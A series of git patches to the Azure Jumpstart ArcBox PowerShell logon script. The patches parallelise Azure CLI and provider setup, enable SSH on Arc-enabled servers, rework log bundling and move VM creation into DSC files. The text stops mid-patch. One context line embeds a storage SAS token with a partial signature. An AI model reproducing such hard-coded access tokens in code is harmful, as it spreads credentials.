Wed, 27 Dec 2023 10:43:45 +0000 Subject: [PATCH 027/506] Leveraged Foreach-Object -Parallel where applicable Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 68 ++++++++++++------- 1 file changed, 45 insertions(+), 23 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 1f1c5dd2b6..0932fea8ae 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -144,9 +144,10 @@ if ($Env:flavor -ne "DevOps") { # Install Azure CLI extensions Write-Header "Az CLI extensions" - az extension add --name ssh --yes --only-show-errors - az extension add --name log-analytics-solution --yes --only-show-errors - az extension add --name connectedmachine --yes --only-show-errors + @("ssh","log-analytics-solution","connectedmachine") | + ForEach-Object -Parallel { + az extension add --name $PSItem --yes --only-show-errors + } # Required for CLI commands Write-Header "Az CLI Login" @@ -154,10 +155,9 @@ if ($Env:flavor -ne "DevOps") { # Register Azure providers Write-Header "Registering Providers" - az provider register --namespace Microsoft.HybridCompute --wait --only-show-errors - az provider register --namespace Microsoft.HybridConnectivity --wait --only-show-errors - az provider register --namespace Microsoft.GuestConfiguration --wait --only-show-errors - az provider register --namespace Microsoft.AzureArcData --wait --only-show-errors + @("Microsoft.HybridCompute","Microsoft.HybridConnectivity","Microsoft.GuestConfiguration","Microsoft.AzureArcData") | ForEach-Object -Parallel { + az provider register --namespace $PSItem --wait --only-show-errors + } # Enable defender for cloud for SQL Server # Verify existing plan and update accordingly @@ -241,14 +241,6 @@ if ($Env:flavor -ne "DevOps") { Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgentSQL.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - # Configure SSH on the nested Windows VMs - Write-Output "Configuring SSH via Azure Arc agent on the nested Windows VMs" - Invoke-Command -VMName $SQLvmName -ScriptBlock { - # Allow SSH via Azure Arc agent - azcmagent config set incomingconnections.ports 22 - } -Credential $winCreds - - # Install Log Analytics extension to support Defender for SQL $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json if ($mmaExtension.Count -le 0) { @@ -466,8 +458,19 @@ if ($Env:flavor -ne "DevOps") { # Onboarding the nested VMs as Azure Arc-enabled servers Write-Output "Onboarding the nested Windows VMs as Azure Arc-enabled servers" - Invoke-Command -VMName $Win2k19vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - Invoke-Command -VMName $Win2k22vmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds + $Win2k19vmName,$Win2k22vmName | ForEach-Object -Parallel { + + $nestedVMArcBoxDir = $Using:nestedVMArcBoxDir + $spnClientId = $Using:spnClientId + $spnClientSecret = $Using:spnClientSecret + $spnTenantId = $Using:spnTenantId + $subscriptionId = $Using:subscriptionId + $resourceGroup = $Using:resourceGroup + $azureLocation = $Using:azureLocation + + Invoke-Command -VMName $PSItem -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -spnClientId $Using:spnClientId, -spnClientSecret $Using:spnClientSecret, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $using:winCreds + + } Write-Output "Onboarding the nested Linux VMs as an Azure Arc-enabled servers" $ubuntuSession = New-SSHSession -ComputerName $Ubuntu01VmIp -Credential $linCreds -Force -WarningAction SilentlyContinue @@ -478,12 +481,31 @@ if ($Env:flavor -ne "DevOps") { $Command = "sudo sh /home/$nestedLinuxUsername/installArcAgentModifiedUbuntu.sh" $(Invoke-SSHCommand -SSHSession $ubuntuSession -Command $Command -Timeout 600 -WarningAction SilentlyContinue).Output - # Configure SSH on the nested Windows VMs - Write-Output "Configuring SSH via Azure Arc agent on the nested Windows VMs" - Invoke-Command -VMName $Win2k19vmName, $Win2k22vmName -ScriptBlock { - # Allow SSH via Azure Arc agent - azcmagent config set incomingconnections.ports 22 - } -Credential $winCreds + } + + Write-Header "Enabling SSH access to Arc-enabled servers" + $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") + $VMs | ForEach-Object -Parallel { + + $vm = $PSItem + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + + $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json + + if (-not ($connectedMachineEndpoint.properties | Where-Object { $_.type -eq "default" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Creating default endpoint for $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15" -Payload '{"properties": {"type": "default"}}' + } + $connectedMachineSshEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15").Content | ConvertFrom-Json + + if (-not ($connectedMachineSshEndpoint.properties | Where-Object { $_.serviceName -eq "SSH" -and $_.provisioningState -eq "Succeeded" })) { + Write-Output "Enabling SSH on $($connectedMachine.Name)" + $null = Invoke-AzRestMethod -Method put -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default/serviceconfigurations/SSH?api-version=2023-03-15" -Payload '{"properties": {"serviceName": "SSH", "port": 22}}' + } + else { + Write-Output "SSH already enabled on $($connectedMachine.Name)" + } + } # Removing the LogonScript Scheduled Task so it won't run on next reboot From cb788ce191f7ae9f3024144681a06c2fed6728d1 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 16:02:59 +0000 Subject: [PATCH 028/506] Enabled Azure CLI use_dynamic_install for extensions Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 0932fea8ae..b000a1d051 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -144,6 +144,9 @@ if ($Env:flavor -ne "DevOps") { # Install Azure CLI extensions Write-Header "Az CLI extensions" + + az config set extension.use_dynamic_install=yes_without_prompt --only-show-errors + @("ssh","log-analytics-solution","connectedmachine") | ForEach-Object -Parallel { az extension add --name $PSItem --yes --only-show-errors From f82fd1ef2294050dfdeb92ca26652144ac8960e3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Wed, 27 Dec 2023 16:09:53 +0000 Subject: [PATCH 029/506] Added Connect-AzAccount inside ForEach-Object -Parallel Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index b000a1d051..7eaa840e49 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -490,6 +490,11 @@ if ($Env:flavor -ne "DevOps") { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") $VMs | ForEach-Object -Parallel { + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + $vm = $PSItem $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId From c68fd371745bd43db939e9a49e7bfbb3b95ecff8 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:16:46 +0000 Subject: [PATCH 030/506] Replace 7z with Compress-Archive. Leverage env-variable for temp-folder. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 7eaa840e49..6bb5407338 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -525,14 +525,13 @@ if ($Env:flavor -ne "DevOps") { # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { + $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." Start-Sleep -Seconds 5 Write-Host "`n" Write-Host "Creating deployment logs bundle" -7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log -}' +Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" #Changing to Jumpstart ArcBox wallpaper @@ -585,8 +584,8 @@ Write-Output "Tests failed: $tests_failed" Write-Header "Adding deployment test results to wallpaper using BGInfo" -Set-Content 'C:\Windows\Temp\arcbox-tests-succeeded.txt' $tests_passed -Set-Content 'C:\Windows\Temp\arcbox-tests-failed.txt' $tests_failed +Set-Content "$Env:TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:TEMP\arcbox-tests-failed.txt" $tests_failed bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT From 25b8553a2b9ea2600673230cfed27c20f9021818 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:19:12 +0000 Subject: [PATCH 031/506] Moved Creating deployment logs bundle at the end Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6bb5407338..1d49499df0 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -523,16 +523,6 @@ if ($Env:flavor -ne "DevOps") { } } -# Executing the deployment logs bundle PowerShell script in a new window -Write-Header "Uploading Log Bundle" - -$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) -Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." -Start-Sleep -Seconds 5 -Write-Host "`n" -Write-Host "Creating deployment logs bundle" -Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" - #Changing to Jumpstart ArcBox wallpaper Write-Header "Changing wallpaper" @@ -589,4 +579,9 @@ Set-Content "$Env:TEMP\arcbox-tests-failed.txt" $tests_failed bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT +Write-Header "Creating deployment logs bundle" + +$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) +Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" + Stop-Transcript From c6c868893f4f9016aea4ee07e6ec307571b11c2b Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:23:08 +0000 Subject: [PATCH 032/506] Replace System.IO.File]::Exists with Test-Path Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 1d49499df0..7662853eaf 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -365,7 +365,7 @@ if ($Env:flavor -ne "DevOps") { $Ubuntu02vmvhdPath = "${Env:ArcBoxVMDir}\${Ubuntu02vmName}.vhdx" # Verify if VHD files already downloaded especially when re-running this script - if (!([System.IO.File]::Exists($win2k19vmvhdPath) -and [System.IO.File]::Exists($Win2k22vmvhdPath) -and [System.IO.File]::Exists($Ubuntu01vmvhdPath) -and [System.IO.File]::Exists($Ubuntu02vmvhdPath))) { + if (!(Test-Path $win2k19vmvhdPath -and Test-Path $Win2k22vmvhdPath -and Test-Path $Ubuntu01vmvhdPath -and Test-Path $Ubuntu02vmvhdPath)) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 if ($Env:flavor -eq "Full") { From c9066cbf7394a9f405bc305dfafe084b73505b72 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 06:36:48 +0000 Subject: [PATCH 033/506] Replace System.IO.File Exists with Test-Path Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 7662853eaf..c69ab182dd 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -20,7 +20,7 @@ $sas = "*?si=ArcBox-RL&spr=https&sv=2022-11-02&sr=c&sig=vg8VRjM00Ya%2FGa5izAq3b0 # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" -if ([System.IO.File]::Exists($logFilePath)) { +if (Test-Path $logFilePath) { $archivefile = "$Env:ArcBoxLogsDir\ArcServersLogonScript-" + (Get-Date -Format "yyyyMMddHHmmss") Rename-Item -Path $logFilePath -NewName $archivefile -Force } @@ -196,7 +196,7 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Fetching SQL VM" # Verify if VHD files already downloaded especially when re-running this script - if (!([System.IO.File]::Exists($SQLvmvhdPath) )) { + if (!(Test-Path $SQLvmvhdPath)) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 # Other ArcBox flavors does not have an azcopy network throughput capping From c43bdab0fe09090d25da7ed4b01c522cf3024284 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 07:32:07 +0000 Subject: [PATCH 034/506] Bugfix - syntax Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index c69ab182dd..404e758461 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -365,7 +365,7 @@ if ($Env:flavor -ne "DevOps") { $Ubuntu02vmvhdPath = "${Env:ArcBoxVMDir}\${Ubuntu02vmName}.vhdx" # Verify if VHD files already downloaded especially when re-running this script - if (!(Test-Path $win2k19vmvhdPath -and Test-Path $Win2k22vmvhdPath -and Test-Path $Ubuntu01vmvhdPath -and Test-Path $Ubuntu02vmvhdPath)) { + if (!((Test-Path $win2k19vmvhdPath) -and (Test-Path $Win2k22vmvhdPath) -and (Test-Path $Ubuntu01vmvhdPath) -and (Test-Path $Ubuntu02vmvhdPath))) { <# Action when all if and elseif conditions are false #> $Env:AZCOPY_BUFFER_GB = 4 if ($Env:flavor -eq "Full") { From 6087197aba88d6a5b73bd21b8dddcbd3a5c10783 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 13:45:31 +0000 Subject: [PATCH 035/506] Bugfix - temp dir reference Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 404e758461..402570efd9 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -574,8 +574,8 @@ Write-Output "Tests failed: $tests_failed" Write-Header "Adding deployment test results to wallpaper using BGInfo" -Set-Content "$Env:TEMP\arcbox-tests-succeeded.txt" $tests_passed -Set-Content "$Env:TEMP\arcbox-tests-failed.txt" $tests_failed +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT From bcbfbcb03fe8b5aa150586d70a19ff26196757d8 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 15:20:20 +0000 Subject: [PATCH 036/506] Added workaround to avoid "file is being used by another process" error when compressing the logs Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 402570efd9..6c8052ed0e 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -582,6 +582,11 @@ bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT Write-Header "Creating deployment logs bundle" $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) -Compress-Archive -Path "$Env:ArcBoxLogsDir\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" +$LogsBundleTempDirectory = "$Env:windir\TEMP\LogsBundle-$RandomString" +$null = New-Item -Path $LogsBundleTempDirectory -ItemType Directory -Force + +#required to avoid "file is being used by another process" error when compressing the logs +Copy-Item -Path "$Env:ArcBoxLogsDir\*.log" -Destination $LogsBundleTempDirectory -Force -PassThru +Compress-Archive -Path "$LogsBundleTempDirectory\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" -PassThru Stop-Transcript From a38fa491ee621430b8a046c2cb34c0ab303bf547 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 18:40:36 +0000 Subject: [PATCH 037/506] SQL server BPA optimization to avoid Cannot index into a null array in deployment logs. Suppress irrelevant warning. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 6c8052ed0e..63e7cb0183 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -260,8 +260,8 @@ if ($Env:flavor -ne "DevOps") { $retryCount = 0 do { Start-Sleep(60) - $amaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='AzureMonitorWindowsAgent']" | ConvertFrom-Json - if ($amaExtension[0].properties.instanceView.status.code -eq 0) { + $amaExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'AzureMonitorWindowsAgent'} + if ($amaExtension.StatusCode -eq 0) { Write-Host "Azure Monitoring Agent extension installation complete." break } @@ -276,16 +276,16 @@ if ($Env:flavor -ne "DevOps") { } while ($retryCount -le 5) # Enable Best practices assessment - if ($amaExtension[0].properties.instanceView.status.code -eq 0) { + if ($amaExtension.StatusCode -eq 0) { # Create custom log analytics table for SQL assessment az monitor log-analytics workspace table create --resource-group $resourceGroup --workspace-name $Env:workspaceName -n SqlAssessment_CL --columns RawData=string TimeGenerated=datetime --only-show-errors # Verify if Arc-enabled server and SQL server extensions are installed - $ArcServer = az connectedmachine show --name $SQLvmName --resource-group $resourceGroup - if ($null -ne $ArcServer) { - $sqlExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='WindowsAgent.SqlServer']" | ConvertFrom-Json - if ($null -ne $sqlExtension) { + $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup + if ($ArcServer) { + $sqlExtension = $ArcServer | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} + if ($sqlExtension) { # SQL server extension is installed and ready to run SQL BPA Write-Host "SQL server extension is installed and ready to run SQL BPA." } @@ -493,7 +493,7 @@ if ($Env:flavor -ne "DevOps") { $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId From 2fdbe35a85724113e1c31eb56d06c24e51eadcef Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 19:33:16 +0000 Subject: [PATCH 038/506] Added Az PowerShell Login Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 63e7cb0183..ab80ef2cda 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -156,6 +156,9 @@ if ($Env:flavor -ne "DevOps") { Write-Header "Az CLI Login" az login --service-principal --username $spnClientId --password $spnClientSecret --tenant $spnTenantId + Write-Header "Az PowerShell Login" + Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + # Register Azure providers Write-Header "Registering Providers" @("Microsoft.HybridCompute","Microsoft.HybridConnectivity","Microsoft.GuestConfiguration","Microsoft.AzureArcData") | ForEach-Object -Parallel { From e90589075b58c10f8ef86da9e7df7f63dbb1b0c6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 29 Dec 2023 20:29:52 +0000 Subject: [PATCH 039/506] Moved VM creation, virtual switch creation and enhanced session mode configuration to DSC Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 82 ++----------------- .../artifacts/dsc/itpro.dsc.yml | 23 +++++- .../dsc/itpro_virtual_machines.dsc.yml | 69 ++++++++++++++++ .../dsc/sql_virtual_machines.dsc.yml | 20 +++++ 4 files changed, 118 insertions(+), 76 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/itpro_virtual_machines.dsc.yml create mode 100644 azure_jumpstart_arcbox/artifacts/dsc/sql_virtual_machines.dsc.yml diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ab80ef2cda..804a84e225 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -102,24 +102,10 @@ if ($Env:flavor -ne "DevOps") { New-NetNat -Name $natName -InternalIPInterfaceAddressPrefix 10.10.1.0/24 } - # Create an internal switch with NAT - Write-Host "Creating Internal vSwitch" - $switchName = 'InternalNATSwitch' - - # Verify if internal switch is already created, if not create a new switch - $inernalSwitch = Get-VMSwitch - if ($inernalSwitch.Name -ne $switchName) { - New-VMSwitch -Name $switchName -SwitchType Internal - $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } - - # Create an internal network (gateway first) - Write-Host "Creating Gateway" - New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex - - # Enable Enhanced Session Mode on Host - Write-Host "Enabling Enhanced Session Mode" - Set-VMHost -EnableEnhancedSessionMode $true - } + # Create an internal network (gateway first) + $adapter = Get-NetAdapter | Where-Object { $_.Name -like "*" + $switchName + "*" } + Write-Host "Creating Gateway" + New-NetIPAddress -IPAddress 10.10.1.1 -PrefixLength 24 -InterfaceIndex $adapter.ifIndex Write-Host "Creating VM Credentials" # Hard-coded username and password for the nested VMs @@ -210,27 +196,13 @@ if ($Env:flavor -ne "DevOps") { # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - # Create the nested SQL VM - Write-Host "Create SQL VM" - if ((Get-VM -Name $SQLvmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $SQLvmName -Force -ErrorAction SilentlyContinue - New-VM -Name $SQLvmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $SQLvmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $SQLvmName -Count 2 - Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } + # Create the nested SQL VMs + winget configure --file C:\ArcBox\DSC\sql_virtual_machines.dsc.yml --accept-configuration-agreements --disable-interactivity # We always want the VMs to start with the host and shut down cleanly with the host Write-Host "Set VM Auto Start/Stop" Set-VM -Name $SQLvmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - Write-Host "Enabling Guest Integration Service" - Get-VM -Name $SQLvmName | Get-VMIntegrationService | Where-Object { -not($_.Enabled) } | Enable-VMIntegrationService -Verbose - - # Start all the VMs - Write-Host "Starting SQL VM" - Start-VM -Name $SQLvmName - - # Restarting Windows VM Network Adapters Write-Host "Restarting Network Adapters" Start-Sleep -Seconds 20 @@ -385,47 +357,7 @@ if ($Env:flavor -ne "DevOps") { # Create the nested VMs if not already created Write-Header "Create Hyper-V VMs" - - # Check if VM already exists - if ((Get-VM -Name $Win2k19vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Win2k19vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Win2k19vmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $win2k19vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $Win2k19vmName -Count 2 - Set-VM -Name $Win2k19vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Win2k22vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Win2k22vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Win2k22vmName -MemoryStartupBytes 12GB -BootDevice VHD -VHDPath $Win2k22vmvhdPath -Path $Env:ArcBoxVMDir -Generation 2 -Switch $switchName - Set-VMProcessor -VMName $Win2k22vmName -Count 2 - Set-VM -Name $Win2k22vmName -AutomaticStartAction Start -AutomaticStopAction ShutDown - } - - if ((Get-VM -Name $Ubuntu01vmName -ErrorAction SilentlyContinue).State -ne "Running") { - Remove-VM -Name $Ubuntu01vmName -Force -ErrorAction SilentlyContinue - New-VM -Name $Ubuntu01vmName -MemoryStartupBytes 